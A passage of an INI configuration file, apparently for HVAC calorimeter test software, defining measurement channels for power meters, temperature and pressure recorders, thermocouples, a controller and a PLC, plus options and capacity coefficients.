CH104 = ID21.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH105 = ID21.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH106 = ID21.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH107 = ID21.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH108 = ID21.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH109 = ID21.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH110 = ID21.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH111 = ID22.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH112 = ID22.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH113 = ID22.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH114 = ID22.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH115 = ID22.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH116 = ID22.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH117 = ID22.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH118 = ID22.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH119 = ID22.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH120 = ID22.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH121 = ID22.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH122 = ID22.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH123 = ID22.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH124 = ID22.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH125 = ID22.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH126 = ID22.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH127 = ID22.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
[Measured.Channel]
;PowerMeter-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH1 = PM1.R.W,Power,W,0.0,true,true,Power
CH2 = PM1.R.V,Voltage,V,0.0,true,true,Voltage
CH3 = PM1.R.A,Current,A,0.000,true,true,Current
CH4 = PM1.R.Hz,Frequency,Hz,0.00,true,true,Frequency
CH5 = PM1.R.PF,Ratio,Percent,0.00,true,true,Ratio
CH6 = PM1.R.Wh,PowerComsumption,Wh,0.000,true,true,PowerComsumption
CH7 = PM1.S.W,Power,W,0.0,true,true,Power
CH8 = PM1.S.V,Voltage,V,0.0,true,true,Voltage
CH9 = PM1.S.A,Current,A,0.000,true,true,Current
CH10 = PM1.S.Hz,Frequency,Hz,0.00,true,true,Frequency
CH11 = PM1.S.PF,Ratio,Percent,0.00,true,true,PowerFactor
CH12 = PM1.S.Wh,PowerComsumption,Wh,0.000,true,true,PowerComsumption
CH13 = PM1.T.W,Power,W,0.0,true,true,Power
CH14 = PM1.T.V,Voltage,V,0.0,true,true,Voltage
CH15 = PM1.T.A,Current,A,0.000,true,true,Current
CH16 = PM1.T.Hz,Frequency,Hz,0.00,true,true,Frequency
CH17 = PM1.T.PF,Ratio,Percent,0.00,true,true,PowerFactor
CH18 = PM1.T.Wh,PowerComsumption,Wh,0.000,true,true,PowerComsumption
CH19 = PM1.Sigma.W,Power,W,0.0,true,true,Power
CH20 = PM1.Sigma.V,Voltage,V,0.0,true,true,Voltage
CH21 = PM1.Sigma.A,Current,A,0.000,true,true,Current
CH22 = PM1.Sigma.Hz,Frequency,Hz,0.00,true,true,Frequency
CH23 = PM1.Sigma.PF,Ratio,Percent,0.00,true,true,PowerFactor
CH24 = PM1.Sigma.Wh,PowerComsumption,Wh,0.000,true,true,PowerComsumption
CH25 = PM1.Time,Time,sec,0.0,true,true,Time
;PowerMeter-2
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH26 = PM2.R.W,Power,W,0.0,false,false,Power
CH27 = PM2.R.V,Voltage,V,0.0,false,false,Voltage
CH28 = PM2.R.A,Current,A,0.000,false,false,Current
CH29 = PM2.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH30 = PM2.R.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH31 = PM2.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH32 = PM2.S.W,Power,W,0.0,false,false,Power
CH33 = PM2.S.V,Voltage,V,0.0,false,false,Voltage
CH34 = PM2.S.A,Current,A,0.000,false,false,Current
CH35 = PM2.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH36 = PM2.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH37 = PM2.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH38 = PM2.T.W,Power,W,0.0,false,false,Power
CH39 = PM2.T.V,Voltage,V,0.0,false,false,Voltage
CH40 = PM2.T.A,Current,A,0.000,false,false,Current
CH41 = PM2.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH42 = PM2.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH43 = PM2.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH44 = PM2.Sigma.W,Power,W,0.0,false,false,Power
CH45 = PM2.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH46 = PM2.Sigma.A,Current,A,0.000,false,false,Current
CH47 = PM2.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH48 = PM2.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH49 = PM2.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH50 = PM2.Time,Time,sec,0.0,false,false,Time
;PowerMeter-3
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH51 = PM3.R.W,Power,W,0.0,false,false,Power
CH52 = PM3.R.V,Voltage,V,0.0,false,false,Voltage
CH53 = PM3.R.A,Current,A,0.000,false,false,Current
CH54 = PM3.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH55 = PM3.R.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH56 = PM3.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH57 = PM3.S.W,Power,W,0.0,false,false,Power
CH58 = PM3.S.V,Voltage,V,0.0,false,false,Voltage
CH59 = PM3.S.A,Current,A,0.000,false,false,Current
CH60 = PM3.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH61 = PM3.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH62 = PM3.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH63 = PM3.T.W,Power,W,0.0,false,false,Power
CH64 = PM3.T.V,Voltage,V,0.0,false,false,Voltage
CH65 = PM3.T.A,Current,A,0.000,false,false,Current
CH66 = PM3.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH67 = PM3.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH68 = PM3.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH69 = PM3.Sigma.W,Power,W,0.0,false,false,Power
CH70 = PM3.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH71 = PM3.Sigma.A,Current,A,0.000,false,false,Current
CH72 = PM3.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH73 = PM3.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH74 = PM3.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH75 = PM3.Time,Time,sec,0.0,false,false,Time
;PowerMeter-4
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH76 = PM4.R.W,Power,W,0.0,false,false,Power
CH77 = PM4.R.V,Voltage,V,0.0,false,false,Voltage
CH78 = PM4.R.A,Current,A,0.000,false,false,Current
CH79 = PM4.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH80 = PM4.R.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH81 = PM4.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH82 = PM4.S.W,Power,W,0.0,false,false,Power
CH83 = PM4.S.V,Voltage,V,0.0,false,false,Voltage
CH84 = PM4.S.A,Current,A,0.000,false,false,Current
CH85 = PM4.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH86 = PM4.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH87 = PM4.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH88 = PM4.T.W,Power,W,0.0,false,false,Power
CH89 = PM4.T.V,Voltage,V,0.0,false,false,Voltage
CH90 = PM4.T.A,Current,A,0.000,false,false,Current
CH91 = PM4.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH92 = PM4.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH93 = PM4.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH94 = PM4.Sigma.W,Power,W,0.0,false,false,Power
CH95 = PM4.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH96 = PM4.Sigma.A,Current,A,0.000,false,false,Current
CH97 = PM4.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH98 = PM4.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH99 = PM4.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH100 = PM4.Time,Time,sec,0.0,false,false,Time
;Recorder-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH101 = ID11.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH102 = ID11.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH103 = ID11.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH104 = ID11.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH105 = ID11.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH106 = ID11.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH107 = ID11.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH108 = ID12.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH109 = ID12.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH110 = ID12.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH111 = ID12.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH112 = ID12.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH113 = ID12.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH114 = ID12.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH115 = ID1.Atm.Pressure,AtmPressure,mmHg,0.00,true,true,AtmPressure
CH116 = ID21.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH117 = ID21.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH118 = ID21.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH119 = ID21.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH120 = ID21.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH121 = ID21.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH122 = ID21.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH123 = ID22.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH124 = ID22.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH125 = ID22.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH126 = ID22.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH127 = ID22.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH128 = ID22.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH129 = ID22.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH130 = ID2.Atm.Pressure,AtmPressure,mmHg,0.00,true,true,AtmPressure
CH131 = OD.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH132 = OD.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH133 = OD.Entering.DP,Temperature,Celsius,0.00,true,true,Temperature
CH134 = Pressure.1,Pressure,kg_cm2,0.00,true,true,Pressure
CH135 = Pressure.2,Pressure,kg_cm2,0.00,true,true,Pressure
CH136 = Pressure.3,Pressure,kg_cm2,0.00,true,true,Pressure
CH137 = Pressure.4,Pressure,kg_cm2,0.00,true,true,Pressure
CH138 = Pressure.5,Pressure,kg_cm2,0.00,true,true,Pressure
CH139 = Pressure.6,Pressure,kg_cm2,0.00,true,true,Pressure
CH140 = Pressure.7,Pressure,kg_cm2,0.00,true,true,Pressure
CH141 = Pressure.8,Pressure,kg_cm2,0.00,true,true,Pressure
CH142 = None.1,None,None,0.0,false,false,None
CH143 = None.2,None,None,0.0,false,false,None
CH144 = None.3,None,None,0.0,false,false,None
CH145 = None.4,None,None,0.0,false,false,None
CH146 = None.5,None,None,0.0,false,false,None
CH147 = None.6,None,None,0.0,false,false,None
CH148 = None.7,None,None,0.0,false,false,None
CH149 = None.8,None,None,0.0,false,false,None
CH150 = None.9,None,None,0.0,false,false,None
CH151 = None.10,None,None,0.0,false,false,None
CH152 = None.11,None,None,0.0,false,false,None
CH153 = None.12,None,None,0.0,false,false,None
CH154 = None.13,None,None,0.0,false,false,None
CH155 = None.14,None,None,0.0,false,false,None
CH156 = None.15,None,None,0.0,false,false,None
CH157 = None.16,None,None,0.0,false,false,None
CH158 = None.17,None,None,0.0,false,false,None
CH159 = None.18,None,None,0.0,false,false,None
CH160 = None.19,None,None,0.0,false,false,None
CH161 = ID1.TC.001,Temperature,Celsius,0.0,true,true,Temperature
CH162 = ID1.TC.002,Temperature,Celsius,0.0,true,true,Temperature
CH163 = ID1.TC.003,Temperature,Celsius,0.0,true,true,Temperature
CH164 = ID1.TC.004,Temperature,Celsius,0.0,true,true,Temperature
CH165 = ID1.TC.005,Temperature,Celsius,0.0,true,true,Temperature
CH166 = ID1.TC.006,Temperature,Celsius,0.0,true,true,Temperature
CH167 = ID1.TC.007,Temperature,Celsius,0.0,true,true,Temperature
CH168 = ID1.TC.008,Temperature,Celsius,0.0,true,true,Temperature
CH169 = ID1.TC.009,Temperature,Celsius,0.0,true,true,Temperature
CH170 = ID1.TC.010,Temperature,Celsius,0.0,true,true,Temperature
CH171 = ID1.TC.011,Temperature,Celsius,0.0,true,true,Temperature
CH172 = ID1.TC.012,Temperature,Celsius,0.0,true,true,Temperature
CH173 = ID1.TC.013,Temperature,Celsius,0.0,true,true,Temperature
CH174 = ID1.TC.014,Temperature,Celsius,0.0,true,true,Temperature
CH175 = ID1.TC.015,Temperature,Celsius,0.0,true,true,Temperature
CH176 = ID1.TC.016,Temperature,Celsius,0.0,true,true,Temperature
CH177 = ID1.TC.017,Temperature,Celsius,0.0,true,true,Temperature
CH178 = ID1.TC.018,Temperature,Celsius,0.0,true,true,Temperature
CH179 = ID1.TC.019,Temperature,Celsius,0.0,true,true,Temperature
CH180 = ID1.TC.020,Temperature,Celsius,0.0,true,true,Temperature
CH181 = ID1.TC.021,Temperature,Celsius,0.0,true,true,Temperature
CH182 = ID1.TC.022,Temperature,Celsius,0.0,true,true,Temperature
CH183 = ID1.TC.023,Temperature,Celsius,0.0,true,true,Temperature
CH184 = ID1.TC.024,Temperature,Celsius,0.0,true,true,Temperature
CH185 = ID1.TC.025,Temperature,Celsius,0.0,true,true,Temperature
CH186 = ID1.TC.026,Temperature,Celsius,0.0,true,true,Temperature
CH187 = ID1.TC.027,Temperature,Celsius,0.0,true,true,Temperature
CH188 = ID1.TC.028,Temperature,Celsius,0.0,true,true,Temperature
CH189 = ID1.TC.029,Temperature,Celsius,0.0,true,true,Temperature
CH190 = ID1.TC.030,Temperature,Celsius,0.0,true,true,Temperature
CH191 = ID1.TC.031,Temperature,Celsius,0.0,true,true,Temperature
CH192 = ID1.TC.032,Temperature,Celsius,0.0,true,true,Temperature
CH193 = ID1.TC.033,Temperature,Celsius,0.0,true,true,Temperature
CH194 = ID1.TC.034,Temperature,Celsius,0.0,true,true,Temperature
CH195 = ID1.TC.035,Temperature,Celsius,0.0,true,true,Temperature
CH196 = ID1.TC.036,Temperature,Celsius,0.0,true,true,Temperature
CH197 = ID1.TC.037,Temperature,Celsius,0.0,true,true,Temperature
CH198 = ID1.TC.038,Temperature,Celsius,0.0,true,true,Temperature
CH199 = ID1.TC.039,Temperature,Celsius,0.0,true,true,Temperature
CH200 = ID1.TC.040,Temperature,Celsius,0.0,true,true,Temperature
CH201 = ID1.TC.041,Temperature,Celsius,0.0,true,true,Temperature
CH202 = ID1.TC.042,Temperature,Celsius,0.0,true,true,Temperature
CH203 = ID1.TC.043,Temperature,Celsius,0.0,true,true,Temperature
CH204 = ID1.TC.044,Temperature,Celsius,0.0,true,true,Temperature
CH205 = ID1.TC.045,Temperature,Celsius,0.0,true,true,Temperature
CH206 = ID1.TC.046,Temperature,Celsius,0.0,true,true,Temperature
CH207 = ID1.TC.047,Temperature,Celsius,0.0,true,true,Temperature
CH208 = ID1.TC.048,Temperature,Celsius,0.0,true,true,Temperature
CH209 = ID1.TC.049,Temperature,Celsius,0.0,true,true,Temperature
CH210 = ID1.TC.050,Temperature,Celsius,0.0,true,true,Temperature
CH211 = ID1.TC.051,Temperature,Celsius,0.0,true,true,Temperature
CH212 = ID1.TC.052,Temperature,Celsius,0.0,true,true,Temperature
CH213 = ID1.TC.053,Temperature,Celsius,0.0,true,true,Temperature
CH214 = ID1.TC.054,Temperature,Celsius,0.0,true,true,Temperature
CH215 = ID1.TC.055,Temperature,Celsius,0.0,true,true,Temperature
CH216 = ID1.TC.056,Temperature,Celsius,0.0,true,true,Temperature
CH217 = ID1.TC.057,Temperature,Celsius,0.0,true,true,Temperature
CH218 = ID1.TC.058,Temperature,Celsius,0.0,true,true,Temperature
CH219 = ID1.TC.059,Temperature,Celsius,0.0,true,true,Temperature
CH220 = ID1.TC.060,Temperature,Celsius,0.0,true,true,Temperature
CH221 = ID2.TC.001,Temperature,Celsius,0.0,true,true,Temperature
CH222 = ID2.TC.002,Temperature,Celsius,0.0,true,true,Temperature
CH223 = ID2.TC.003,Temperature,Celsius,0.0,true,true,Temperature
CH224 = ID2.TC.004,Temperature,Celsius,0.0,true,true,Temperature
CH225 = ID2.TC.005,Temperature,Celsius,0.0,true,true,Temperature
CH226 = ID2.TC.006,Temperature,Celsius,0.0,true,true,Temperature
CH227 = ID2.TC.007,Temperature,Celsius,0.0,true,true,Temperature
CH228 = ID2.TC.008,Temperature,Celsius,0.0,true,true,Temperature
CH229 = ID2.TC.009,Temperature,Celsius,0.0,true,true,Temperature
CH230 = ID2.TC.010,Temperature,Celsius,0.0,true,true,Temperature
CH231 = ID2.TC.011,Temperature,Celsius,0.0,true,true,Temperature
CH232 = ID2.TC.012,Temperature,Celsius,0.0,true,true,Temperature
CH233 = ID2.TC.013,Temperature,Celsius,0.0,true,true,Temperature
CH234 = ID2.TC.014,Temperature,Celsius,0.0,true,true,Temperature
CH235 = ID2.TC.015,Temperature,Celsius,0.0,true,true,Temperature
CH236 = ID2.TC.016,Temperature,Celsius,0.0,true,true,Temperature
CH237 = ID2.TC.017,Temperature,Celsius,0.0,true,true,Temperature
CH238 = ID2.TC.018,Temperature,Celsius,0.0,true,true,Temperature
CH239 = ID2.TC.019,Temperature,Celsius,0.0,true,true,Temperature
CH240 = ID2.TC.020,Temperature,Celsius,0.0,true,true,Temperature
CH241 = ID2.TC.021,Temperature,Celsius,0.0,true,true,Temperature
CH242 = ID2.TC.022,Temperature,Celsius,0.0,true,true,Temperature
CH243 = ID2.TC.023,Temperature,Celsius,0.0,true,true,Temperature
CH244 = ID2.TC.024,Temperature,Celsius,0.0,true,true,Temperature
CH245 = ID2.TC.025,Temperature,Celsius,0.0,true,true,Temperature
CH246 = ID2.TC.026,Temperature,Celsius,0.0,true,true,Temperature
CH247 = ID2.TC.027,Temperature,Celsius,0.0,true,true,Temperature
CH248 = ID2.TC.028,Temperature,Celsius,0.0,true,true,Temperature
CH249 = ID2.TC.029,Temperature,Celsius,0.0,true,true,Temperature
CH250 = ID2.TC.030,Temperature,Celsius,0.0,true,true,Temperature
CH251 = ID2.TC.031,Temperature,Celsius,0.0,true,true,Temperature
CH252 = ID2.TC.032,Temperature,Celsius,0.0,true,true,Temperature
CH253 = ID2.TC.033,Temperature,Celsius,0.0,true,true,Temperature
CH254 = ID2.TC.034,Temperature,Celsius,0.0,true,true,Temperature
CH255 = ID2.TC.035,Temperature,Celsius,0.0,true,true,Temperature
CH256 = ID2.TC.036,Temperature,Celsius,0.0,true,true,Temperature
CH257 = ID2.TC.037,Temperature,Celsius,0.0,true,true,Temperature
CH258 = ID2.TC.038,Temperature,Celsius,0.0,true,true,Temperature
CH259 = ID2.TC.039,Temperature,Celsius,0.0,true,true,Temperature
CH260 = ID2.TC.040,Temperature,Celsius,0.0,true,true,Temperature
CH261 = ID2.TC.041,Temperature,Celsius,0.0,true,true,Temperature
CH262 = ID2.TC.042,Temperature,Celsius,0.0,true,true,Temperature
CH263 = ID2.TC.043,Temperature,Celsius,0.0,true,true,Temperature
CH264 = ID2.TC.044,Temperature,Celsius,0.0,true,true,Temperature
CH265 = ID2.TC.045,Temperature,Celsius,0.0,true,true,Temperature
CH266 = ID2.TC.046,Temperature,Celsius,0.0,true,true,Temperature
CH267 = ID2.TC.047,Temperature,Celsius,0.0,true,true,Temperature
CH268 = ID2.TC.048,Temperature,Celsius,0.0,true,true,Temperature
CH269 = ID2.TC.049,Temperature,Celsius,0.0,true,true,Temperature
CH270 = ID2.TC.050,Temperature,Celsius,0.0,true,true,Temperature
CH271 = ID2.TC.051,Temperature,Celsius,0.0,true,true,Temperature
CH272 = ID2.TC.052,Temperature,Celsius,0.0,true,true,Temperature
CH273 = ID2.TC.053,Temperature,Celsius,0.0,true,true,Temperature
CH274 = ID2.TC.054,Temperature,Celsius,0.0,true,true,Temperature
CH275 = ID2.TC.055,Temperature,Celsius,0.0,true,true,Temperature
CH276 = ID2.TC.056,Temperature,Celsius,0.0,true,true,Temperature
CH277 = ID2.TC.057,Temperature,Celsius,0.0,true,true,Temperature
CH278 = ID2.TC.058,Temperature,Celsius,0.0,true,true,Temperature
CH279 = ID2.TC.059,Temperature,Celsius,0.0,true,true,Temperature
CH280 = ID2.TC.060,Temperature,Celsius,0.0,true,true,Temperature
CH281 = OD.TC.001,Temperature,Celsius,0.0,true,true,Temperature
CH282 = OD.TC.002,Temperature,Celsius,0.0,true,true,Temperature
CH283 = OD.TC.003,Temperature,Celsius,0.0,true,true,Temperature
CH284 = OD.TC.004,Temperature,Celsius,0.0,true,true,Temperature
CH285 = OD.TC.005,Temperature,Celsius,0.0,true,true,Temperature
CH286 = OD.TC.006,Temperature,Celsius,0.0,true,true,Temperature
CH287 = OD.TC.007,Temperature,Celsius,0.0,true,true,Temperature
CH288 = OD.TC.008,Temperature,Celsius,0.0,true,true,Temperature
CH289 = OD.TC.009,Temperature,Celsius,0.0,true,true,Temperature
CH290 = OD.TC.010,Temperature,Celsius,0.0,true,true,Temperature
CH291 = OD.TC.011,Temperature,Celsius,0.0,true,true,Temperature
CH292 = OD.TC.012,Temperature,Celsius,0.0,true,true,Temperature
CH293 = OD.TC.013,Temperature,Celsius,0.0,true,true,Temperature
CH294 = OD.TC.014,Temperature,Celsius,0.0,true,true,Temperature
CH295 = OD.TC.015,Temperature,Celsius,0.0,true,true,Temperature
CH296 = OD.TC.016,Temperature,Celsius,0.0,true,true,Temperature
CH297 = OD.TC.017,Temperature,Celsius,0.0,true,true,Temperature
CH298 = OD.TC.018,Temperature,Celsius,0.0,true,true,Temperature
CH299 = OD.TC.019,Temperature,Celsius,0.0,true,true,Temperature
CH300 = OD.TC.020,Temperature,Celsius,0.0,true,true,Temperature
CH301 = OD.TC.021,Temperature,Celsius,0.0,true,true,Temperature
CH302 = OD.TC.022,Temperature,Celsius,0.0,true,true,Temperature
CH303 = OD.TC.023,Temperature,Celsius,0.0,true,true,Temperature
CH304 = OD.TC.024,Temperature,Celsius,0.0,true,true,Temperature
CH305 = OD.TC.025,Temperature,Celsius,0.0,true,true,Temperature
CH306 = OD.TC.026,Temperature,Celsius,0.0,true,true,Temperature
CH307 = OD.TC.027,Temperature,Celsius,0.0,true,true,Temperature
CH308 = OD.TC.028,Temperature,Celsius,0.0,true,true,Temperature
CH309 = OD.TC.029,Temperature,Celsius,0.0,true,true,Temperature
CH310 = OD.TC.030,Temperature,Celsius,0.0,true,true,Temperature
CH311 = OD.TC.031,Temperature,Celsius,0.0,true,true,Temperature
CH312 = OD.TC.032,Temperature,Celsius,0.0,true,true,Temperature
CH313 = OD.TC.033,Temperature,Celsius,0.0,true,true,Temperature
CH314 = OD.TC.034,Temperature,Celsius,0.0,true,true,Temperature
CH315 = OD.TC.035,Temperature,Celsius,0.0,true,true,Temperature
CH316 = OD.TC.036,Temperature,Celsius,0.0,true,true,Temperature
CH317 = OD.TC.037,Temperature,Celsius,0.0,true,true,Temperature
CH318 = OD.TC.038,Temperature,Celsius,0.0,true,true,Temperature
CH319 = OD.TC.039,Temperature,Celsius,0.0,true,true,Temperature
CH320 = OD.TC.040,Temperature,Celsius,0.0,true,true,Temperature
CH321 = OD.TC.041,Temperature,Celsius,0.0,true,true,Temperature
CH322 = OD.TC.042,Temperature,Celsius,0.0,true,true,Temperature
CH323 = OD.TC.043,Temperature,Celsius,0.0,true,true,Temperature
CH324 = OD.TC.044,Temperature,Celsius,0.0,true,true,Temperature
CH325 = OD.TC.045,Temperature,Celsius,0.0,true,true,Temperature
CH326 = OD.TC.046,Temperature,Celsius,0.0,true,true,Temperature
CH327 = OD.TC.047,Temperature,Celsius,0.0,true,true,Temperature
CH328 = OD.TC.048,Temperature,Celsius,0.0,true,true,Temperature
CH329 = OD.TC.049,Temperature,Celsius,0.0,true,true,Temperature
CH330 = OD.TC.050,Temperature,Celsius,0.0,true,true,Temperature
CH331 = OD.TC.051,Temperature,Celsius,0.0,true,true,Temperature
CH332 = OD.TC.052,Temperature,Celsius,0.0,true,true,Temperature
CH333 = OD.TC.053,Temperature,Celsius,0.0,true,true,Temperature
CH334 = OD.TC.054,Temperature,Celsius,0.0,true,true,Temperature
CH335 = OD.TC.055,Temperature,Celsius,0.0,true,true,Temperature
CH336 = OD.TC.056,Temperature,Celsius,0.0,true,true,Temperature
CH337 = OD.TC.057,Temperature,Celsius,0.0,true,true,Temperature
CH338 = OD.TC.058,Temperature,Celsius,0.0,true,true,Temperature
CH339 = OD.TC.059,Temperature,Celsius,0.0,true,true,Temperature
CH340 = OD.TC.060,Temperature,Celsius,0.0,true,true,Temperature
;Controller-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH341 = CTRL1.PV,None,None,0.0,false,false,None
CH342 = CTRL1.SV,None,None,0.0,false,false,None
CH343 = CTRL1.OUT,None,None,0.0,false,false,None
CH344 = CTRL1.Mode,None,None,0.0,false,false,None
CH345 = CTRL1.SPN,None,None,0.0,false,false,None
CH346 = CTRL1.P,None,None,0.0,false,false,None
CH347 = CTRL1.I,None,None,0.0,false,false,None
CH348 = CTRL1.D,None,None,0.0,false,false,None
CH349 = CTRL1.DEV,None,None,0.0,false,false,None
CH350 = CTRL1.BS,None,None,0.0,false,false,None
CH351 = CTRL1.FL,None,None,0.0,false,false,None
CH352 = CTRL1.MOUT,None,None,0.0,false,false,None
;PLC-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH353 = ID11.Nozzle1,None,None,0.0,false,false,None
CH354 = ID11.Nozzle2,None,None,0.0,false,false,None
CH355 = ID11.Nozzle3,None,None,0.0,false,false,None
CH356 = ID11.Nozzle4,None,None,0.0,false,false,None
CH357 = ID12.Nozzle1,None,None,0.0,false,false,None
CH358 = ID12.Nozzle2,None,None,0.0,false,false,None
CH359 = ID12.Nozzle3,None,None,0.0,false,false,None
CH360 = ID12.Nozzle4,None,None,0.0,false,false,None
CH361 = ID21.Nozzle1,None,None,0.0,false,false,None
CH362 = ID21.Nozzle2,None,None,0.0,false,false,None
CH363 = ID21.Nozzle3,None,None,0.0,false,false,None
CH364 = ID21.Nozzle4,None,None,0.0,false,false,None
CH365 = ID22.Nozzle1,None,None,0.0,false,false,None
CH366 = ID22.Nozzle2,None,None,0.0,false,false,None
CH367 = ID22.Nozzle3,None,None,0.0,false,false,None
CH368 = ID22.Nozzle4,None,None,0.0,false,false,None
[TC.Tag]
Tag1 = TC-001
Tag2 = TC-002
Tag3 = TC-003
Tag4 = TC-004
Tag5 = TC-005
Tag6 = TC-006
Tag7 = TC-007
Tag8 = TC-008
Tag9 = TC-009
Tag10 = TC-010
[Press.Tag]
Tag1 = Press-001
Tag2 = Press-002
Tag3 = Press-003
Tag4 = Press-004
Tag5 = Press-005
Tag6 = Press-006
Tag7 = Press-007
Tag8 = Press-008
Tag9 = Press-009
Tag10 = Press-010
[Options]
FixedAtmPressure =true
ForcedInteg =true
ExcelPath =D:\ShDoc\Projects\VS\Hnc\Calorimeter\Client\Excel
AutoExcel =true
StoppedTestExcel =true
Indoor1TC =false
Indoor2TC =true
OutdoorTC =true
IndoorTC1=false
IndoorTC2=false
[Coefficient.ID11]
Airflow =1.0
CoolingCapacity =1.0
HeatingCapacity =1.0
Cooling_HLK =4.0
Heating_HLK =4.0
Cooling_HLK_Duct1 =3.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
